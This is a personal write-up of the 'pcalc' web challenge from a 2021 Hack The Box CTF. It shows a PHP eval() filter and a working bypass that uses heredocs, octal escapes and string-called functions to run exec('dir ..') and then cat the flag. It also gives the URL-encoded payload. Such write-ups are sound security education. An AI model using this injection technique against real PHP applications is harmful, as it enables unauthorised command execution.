For the 2021 hack the box cyberpocalypse ctf, there was a web challenge called pcalc that included this filter:
if (strlen($formula) >= 100 || preg_match_all('/[a-z\'"]+/i', $formula)) {
return '🤡 dont bite the hand that feeds you human 🤡';
}
try {
eval('$pcalc = ' . $formula . ';');
return isset($pcalc) ? $pcalc : '?';
}
catch (ParseError $err) {
return '🚨 report to the nearest galactic federation agency 🚨';
}
so, no letters or quotes, either '
or "
. hmmmmmm...
looking around, most examples of bypasses didn't work for me because they needed quotes or were too long, so I largely figured this out for myself.
the solution was via three perculiarities of php:
- strings can be specified with
'
or"
, sure, but also with 'heredocs' and 'nowdocs'. a heredoc (which I used) is<<<
followed by a user defined marker character, a newline, the text, and the marker again. - in a
"
string or a heredoc, octal notation can be used.\120
is the character 'P' for example - functions can be called as
exec("args")
or as("exec")("args")
so, what do I want to do? I want to find a flag file that I know is in the directory one level up (with a random name) and then read it. to do this in php i might do exec("dir ..")
, but that will fail the filter. so lets run it through these quirks:
<<<_ [text] _
to express a quoted string
\145\170\145\143
for exec
and \144\151\162\40\56\56
for dir ..
and, with wrapped parenthesis, the final string:
(<<<_
\145\170\145\143
_)(<<<_
\144\151\162\40\56\56
_)
the challenge requires this to be a query string parameter, so I shoved the above into cyberchef (which I also used to calculate the octal values) to get:
(%3C%3C%3C_%0A%5C145%5C170%5C145%5C143%0A_)(%3C%3C%3C_%0A%5C144%5C151%5C162%5C40%5C56%5C56%0A_)
this worked and I found the flag, then changed the second command to cat
etc to get its text :) Fun challenge!